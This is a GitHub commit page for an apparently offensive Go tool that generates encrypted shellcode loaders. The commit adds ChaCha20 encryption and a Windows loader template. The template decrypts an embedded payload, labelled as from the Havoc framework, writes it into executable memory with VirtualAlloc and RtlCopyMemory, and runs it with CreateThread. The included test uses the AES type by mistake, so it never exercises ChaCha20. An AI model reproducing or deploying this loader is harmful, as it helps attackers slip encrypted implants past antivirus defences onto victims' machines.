Skip to content

Commit 17a8ca7

Browse files
authored
feat: add chacha20 encryption (#11)
Signed-off-by: Vasek - Tom C <[email protected]>
1 parent 745bf22 commit 17a8ca7

File tree

7 files changed

+250
-3
lines changed

7 files changed

+250
-3
lines changed

encryption/chacha20.go

+40
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
package encryption
2+
3+
import (
4+
"crypto/rand"
5+
"golang.org/x/crypto/chacha20poly1305"
6+
"io"
7+
)
8+
9+
type ChaCha20 struct{}
10+
11+
func (c ChaCha20) Decrypt(content, key []byte) ([]byte, error) {
12+
aead, err := chacha20poly1305.NewX(key)
13+
if err != nil {
14+
return nil, err
15+
}
16+
17+
nonceSize := aead.NonceSize()
18+
if len(content) < nonceSize {
19+
return nil, ErrCipherTextTooShort
20+
}
21+
22+
nonce, ciphertext := content[:nonceSize], content[nonceSize:]
23+
24+
return aead.Open(nil, nonce, ciphertext, nil)
25+
}
26+
27+
func (c ChaCha20) Encrypt(content, key []byte) ([]byte, error) {
28+
aead, err := chacha20poly1305.NewX(key)
29+
if err != nil {
30+
return nil, err
31+
}
32+
33+
nonce := make([]byte, aead.NonceSize())
34+
if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
35+
return nil, err
36+
}
37+
38+
// Encrypt the message.
39+
return aead.Seal(nonce, nonce, content, nil), nil
40+
}

encryption/chacha20_test.go

+47
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
package encryption
2+
3+
import (
4+
"bytes"
5+
"github.com/stretchr/testify/require"
6+
"testing"
7+
)
8+
9+
func TestChaCha20_EncryptDecrypt(t *testing.T) {
10+
type TestCase struct {
11+
content []byte
12+
key []byte
13+
}
14+
15+
testsCases := map[string]TestCase{
16+
"encrypt a simple string": {
17+
content: []byte("hello world"),
18+
key: []byte("0123456789ABCDEF"),
19+
},
20+
"encrypt a golang file": {
21+
content: []byte(`
22+
package main
23+
24+
import "fmt"
25+
26+
func main() {
27+
fmt.Println("hello Go!")
28+
}
29+
`),
30+
key: []byte("0123456789ABCDEF"),
31+
},
32+
}
33+
34+
for name, tt := range testsCases {
35+
t.Run(name, func(t *testing.T) {
36+
chacha20 := Aes{}
37+
38+
encryptedContent, err := chacha20.Encrypt(bytes.Clone(tt.content), tt.key)
39+
require.NoError(t, err)
40+
require.NotEqual(t, tt.content, encryptedContent)
41+
42+
decryptedContent, err := chacha20.Decrypt(encryptedContent, tt.key)
43+
require.NoError(t, err)
44+
require.Equal(t, tt.content, decryptedContent)
45+
})
46+
}
47+
}

go.mod

+2
Original file line numberDiff line numberDiff line change
@@ -5,12 +5,14 @@ go 1.20
55
require (
66
github.com/spf13/cobra v1.7.0
77
github.com/stretchr/testify v1.8.4
8+
golang.org/x/crypto v0.11.0
89
)
910

1011
require (
1112
github.com/davecgh/go-spew v1.1.1 // indirect
1213
github.com/inconshreveable/mousetrap v1.1.0 // indirect
1314
github.com/pmezard/go-difflib v1.0.0 // indirect
1415
github.com/spf13/pflag v1.0.5 // indirect
16+
golang.org/x/sys v0.10.0 // indirect
1517
gopkg.in/yaml.v3 v3.0.1 // indirect
1618
)

go.sum

+4
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,10 @@ github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
1212
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
1313
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
1414
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
15+
golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
16+
golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
17+
golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
18+
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
1519
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
1620
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
1721
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=

loader/chacha20.go

+41
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
package loader
2+
3+
import (
4+
"bytes"
5+
"fmt"
6+
"strings"
7+
"text/template"
8+
9+
"github.com/cmepw/221b/encryption"
10+
"github.com/cmepw/221b/templates"
11+
)
12+
13+
type ChaCha20 struct {
14+
baseLoader
15+
encryption.ChaCha20
16+
}
17+
18+
func (a ChaCha20) Load(content, key []byte) ([]byte, error) {
19+
tmpl, err := template.New("loader").Funcs(template.FuncMap{
20+
"key": func() string {
21+
return string(key)
22+
},
23+
"shellcode": func() string {
24+
result := []string{}
25+
26+
for _, b := range content {
27+
result = append(result, fmt.Sprintf("0x%02x", b))
28+
}
29+
30+
return strings.Join(result, ", ") + ","
31+
},
32+
}).Parse(templates.ChaCha20Tmpl)
33+
if err != nil {
34+
return nil, err
35+
}
36+
37+
result := new(bytes.Buffer)
38+
err = tmpl.Execute(result, nil)
39+
40+
return result.Bytes(), err
41+
}

loader/loader.go

+4-3
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,9 @@ import (
1313

1414
// Method gather all loading and encryption method.
1515
var Method = map[string]Loader{
16-
"xor": Xor{},
17-
"aes": Aes{},
16+
"xor": Xor{},
17+
"aes": Aes{},
18+
"chacha20": ChaCha20{},
1819
}
1920

2021
type Loader interface {
@@ -39,7 +40,7 @@ func (b baseLoader) Compile(outputPath string, content []byte) error {
3940
_ = os.RemoveAll(tmpDir)
4041
}()
4142

42-
err := b.execCmd("go", "get", "-u", "golang.org/x/sys/windows")
43+
err := b.execCmd("go", "get", "-u", "golang.org/x/sys/windows", "golang.org/x/crypto")
4344
if err != nil {
4445
logger.Error(fmt.Errorf("could not install dependency"))
4546
return err

templates/chacha20.go

+112
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
package templates
2+
3+
var ChaCha20Tmpl = `
4+
package main
5+
6+
import (
7+
"fmt"
8+
"syscall"
9+
"unsafe"
10+
"errors"
11+
12+
"golang.org/x/sys/windows"
13+
"golang.org/x/crypto/chacha20poly1305"
14+
)
15+
16+
const (
17+
MEM_COMMIT = 0x1000
18+
MEM_RESERVE = 0x2000
19+
PAGE_EXECUTE_READWRITE = 0x40
20+
)
21+
22+
var (
23+
kernel32 = windows.MustLoadDLL("kernel32.dll")
24+
ntdll = windows.MustLoadDLL("ntdll.dll")
25+
26+
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
27+
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
28+
CreateThread = kernel32.MustFindProc("CreateThread")
29+
)
30+
31+
var ErrCipherTextTooShort = errors.New("ciphertext too short")
32+
33+
func decrypt(content, key []byte) ([]byte, error) {
34+
aead, err := chacha20poly1305.NewX(key)
35+
if err != nil {
36+
return nil, err
37+
}
38+
39+
nonceSize := aead.NonceSize()
40+
if len(content) < nonceSize {
41+
return nil, ErrCipherTextTooShort
42+
}
43+
44+
nonce, ciphertext := content[:nonceSize], content[nonceSize:]
45+
46+
return aead.Open(nil, nonce, ciphertext, nil)
47+
}
48+
49+
func main() {
50+
51+
key := "{{ key }}"
52+
53+
// Payload havoc
54+
var shellcodeBytes = []byte{
55+
{{ shellcode }}
56+
}
57+
58+
var shellcode []byte
59+
shellcode, err := decrypt(shellcodeBytes, []byte(key))
60+
if err != nil {
61+
fmt.Println("failed to decrypt payload")
62+
fmt.Println(err)
63+
syscall.Exit(0)
64+
}
65+
66+
addr, _, err := VirtualAlloc.Call(
67+
0,
68+
uintptr(len(shellcode)),
69+
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
70+
)
71+
72+
// retour d'erreur ( quand on appel la lib )
73+
// TODO improve error checking
74+
if err != nil && err.Error() != "L’opération a réussi." {
75+
fmt.Println("failed to alloc memory")
76+
fmt.Println(err)
77+
syscall.Exit(0)
78+
}
79+
80+
_, _, err = RtlCopyMemory.Call(
81+
addr,
82+
(uintptr)(unsafe.Pointer(&shellcode[0])),
83+
uintptr(len(shellcode)),
84+
)
85+
86+
// TODO improve error checking
87+
if err != nil && err.Error() != "L’opération a réussi." {
88+
fmt.Println("failed to copy in memory")
89+
fmt.Println(err)
90+
syscall.Exit(0)
91+
}
92+
93+
// jump to shellcode
94+
_, _, err = CreateThread.Call(
95+
0, // [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
96+
0, // [in] SIZE_T dwStackSize,
97+
addr, // shellcode address
98+
0, // [in, optional] __drv_aliasesMem LPVOID lpParameter,
99+
0, // [in] DWORD dwCreationFlags,
100+
0, // [out, optional] LPDWORD lpThreadId
101+
)
102+
103+
// TODO improve error checking
104+
if err != nil && err.Error() != "L’opération a réussi." {
105+
fmt.Println("failed to create thread")
106+
fmt.Println(err)
107+
}
108+
109+
for {
110+
}
111+
}
112+
`

0 commit comments

Comments
 (0)